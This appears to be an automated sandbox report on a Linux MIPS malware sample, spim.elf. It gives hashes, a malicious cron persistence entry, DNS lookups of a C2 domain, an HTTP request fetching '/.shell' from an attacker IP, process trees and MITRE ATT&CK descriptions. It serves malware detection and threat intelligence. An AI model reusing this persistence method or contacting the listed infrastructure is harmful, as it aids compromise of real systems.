	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	sync.powerpc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	sync.arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.qSJphn (deleted)

Download File

Process:	/tmp/spim.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:TgSJCn:TgSJC
MD5:	8AFBB19413FDD9DE95D593E4185BA1D4
SHA1:	0A5570AD3900673543A0F491D9CFC5B43CBF5BE5
SHA-256:	D2872E2F185AB61D1966C2BED79A17FC6B1CB150A68074E7CCCEBC705E6729CC
SHA-512:	547698A78F9FE0355C87465D09B8D5888556AD9D55B30CE7DAD98DB4D495183ACF885DEF16A2CCF65BECA5EB2055C7BFB4067734ACEBD83D0234BD25CCD600C9
Malicious:	false
Reputation:	low
Preview:	/tmp/spim.elf.

/var/spool/cron/crontabs/tmp.nUQDM6

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.112158754027816
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1KmREJOBFQ5ZjEvoiGMQ5UYLtCFt3eQTbHvn:8QjHig8cgUeHLUeQTbHv
MD5:	611277552364854EF3C37AB2B390C593
SHA1:	55523B6C26C029739EE690BA3689994A810D0744
SHA-256:	2FF6B5CEBF96B0B3AC761A9E9879F22AE6BB2438B1391F35958E58A2CB1CAA21
SHA-512:	C06AE713C310F2C012845776B6D9E71D124E20B9F055FD7F9312946C45058584BFF16DF29E938DE774381E84503A27620629BD598C275FA31B9264135885F3A7
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Wed Mar 19 03:17:57 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)./15 * * * /usr/lib/ld-unix.so.2.

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	5.199402310812175
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	spim.elf
File size:	138'630 bytes
MD5:	c2575dcc05d235fdba210f99feadb1d9
SHA1:	825241b59ae56c543490da9da9d5713c5b5c7bc0
SHA256:	77127ae9b28ce4a505666410fc5aa343d7b3cd4dc77ec07da5c6737fe75a5fcb
SHA512:	3ba1b767a0e184ead840f6372cd439cca1fabff12caa5dcacb8605dda8420a042fe1d3b5a4d889c1acd001224ad7a7b03630fe10487411951b6b5e7ae1e0e395
SSDEEP:	1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkL:tr9dy1B2gSpLg7j
TLSH:	50D3642E3E21BFAEE268837107F39FB0939525D736E1C385E16CD6185EB428C185E794
File Content Preview:	.ELF.....................@.....4.........4. ...(....p........@...@...........................@...@.....4...4...............4.E.4.E.4...H..0.........dt.Q.................................................FP.<...'.P$...!'.......................<...'.P....!...

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 18
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 09:17:56.498403072 CET	43928	443	192.168.2.23	91.189.91.42
Mar 19, 2025 09:17:58.907716036 CET	51780	443	192.168.2.23	37.44.238.92
Mar 19, 2025 09:17:58.907758951 CET	443	51780	37.44.238.92	192.168.2.23
Mar 19, 2025 09:17:58.907821894 CET	51780	443	192.168.2.23	37.44.238.92
Mar 19, 2025 09:17:58.910746098 CET	36120	80	192.168.2.23	37.44.238.92
Mar 19, 2025 09:17:58.915596008 CET	80	36120	37.44.238.92	192.168.2.23
Mar 19, 2025 09:17:58.915719986 CET	36120	80	192.168.2.23	37.44.238.92
Mar 19, 2025 09:17:58.918275118 CET	36120	80	192.168.2.23	37.44.238.92
Mar 19, 2025 09:17:58.922938108 CET	80	36120	37.44.238.92	192.168.2.23
Mar 19, 2025 09:18:02.129564047 CET	42836	443	192.168.2.23	91.189.91.43
Mar 19, 2025 09:18:02.448431015 CET	443	33606	54.171.230.55	192.168.2.23
Mar 19, 2025 09:18:02.448683023 CET	33606	443	192.168.2.23	54.171.230.55
Mar 19, 2025 09:18:02.453365088 CET	443	33606	54.171.230.55	192.168.2.23
Mar 19, 2025 09:18:03.153369904 CET	42516	80	192.168.2.23	109.202.202.202
Mar 19, 2025 09:18:17.743499041 CET	43928	443	192.168.2.23	91.189.91.42
Mar 19, 2025 09:18:27.981987953 CET	42836	443	192.168.2.23	91.189.91.43
Mar 19, 2025 09:18:28.920535088 CET	80	36120	37.44.238.92	192.168.2.23
Mar 19, 2025 09:18:28.920905113 CET	36120	80	192.168.2.23	37.44.238.92
Mar 19, 2025 09:18:28.925518990 CET	80	36120	37.44.238.92	192.168.2.23
Mar 19, 2025 09:18:34.125133038 CET	42516	80	192.168.2.23	109.202.202.202
Mar 19, 2025 09:18:58.697863102 CET	43928	443	192.168.2.23	91.189.91.42
Mar 19, 2025 09:19:19.175249100 CET	42836	443	192.168.2.23	91.189.91.43
Mar 19, 2025 09:19:29.413758039 CET	51780	443	192.168.2.23	37.44.238.92
Mar 19, 2025 09:19:29.413832903 CET	443	51780	37.44.238.92	192.168.2.23
Mar 19, 2025 09:19:29.413908958 CET	51780	443	192.168.2.23	37.44.238.92

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 09:17:58.872179031 CET	50982	53	192.168.2.23	1.1.1.1
Mar 19, 2025 09:17:58.904239893 CET	53	50982	1.1.1.1	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 09:17:58.872179031 CET	192.168.2.23	1.1.1.1	0x8a65	Standard query (0)	conn.masjesu.zip	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 09:17:58.904239893 CET	1.1.1.1	192.168.2.23	0x8a65	No error (0)	conn.masjesu.zip		77.90.153.218	A (IP address)	IN (0x0001)	false
Mar 19, 2025 09:17:58.904239893 CET	1.1.1.1	192.168.2.23	0x8a65	No error (0)	conn.masjesu.zip		37.44.238.92	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

37.44.238.92

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	36120	37.44.238.92	80

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 09:17:58.918275118 CET	75	OUT	GET /.shell HTTP/1.1 Host: 37.44.238.92 Connection: close

System Behavior

Analysis Process: spim.elf PID: 6232, Parent PID: 6152

General

Start time (UTC):	08:17:56
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	/tmp/spim.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

File Activities

File Opened

File Read

Process Activities

Process Forked

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: spim.elf PID: 6234, Parent PID: 6232

General

Start time (UTC):	08:17:56
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

File Activities

File Moved

Process Activities

Process Forked

Thread Sleep

Chronological Activities

Analysis Process: spim.elf PID: 6236, Parent PID: 6234

General

Start time (UTC):	08:17:56
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 6236, Parent PID: 6234

General

Start time (UTC):	08:17:56
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	sh -c "crontab -l"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6238, Parent PID: 6236

General

Start time (UTC):	08:17:56
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 6238, Parent PID: 6236

General

Start time (UTC):	08:17:56
Start date (UTC):	19/03/2025
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: spim.elf PID: 6239, Parent PID: 6234

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 6239, Parent PID: 6234

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	sh -c "crontab -"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 6241, Parent PID: 6239

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 6241, Parent PID: 6239

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/usr/bin/crontab
Arguments:	crontab -
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Read

File Written

File Moved

Permission Modified

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: spim.elf PID: 6242, Parent PID: 6232

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

File Activities

File Opened

File Read

Process Activities

Process Forked

Thread Sleep

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: spim.elf PID: 6244, Parent PID: 6242

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

File Activities

File Opened

File Deleted

File Read

File Written

Directory Enumerated

Process Activities

Signal Sent

Thread Sleep

Chronological Activities

Analysis Process: spim.elf PID: 6246, Parent PID: 6242

General

Start time (UTC):	08:17:57
Start date (UTC):	19/03/2025
Path:	/tmp/spim.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report spim.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.qSJphn (deleted)

/var/spool/cron/crontabs/tmp.nUQDM6

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: spim.elf PID: 6232, Parent PID: 6152

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: spim.elf PID: 6234, Parent PID: 6232

General

File Activities

File Moved

Process Activities

Process Forked

Linux Analysis Report
spim.elf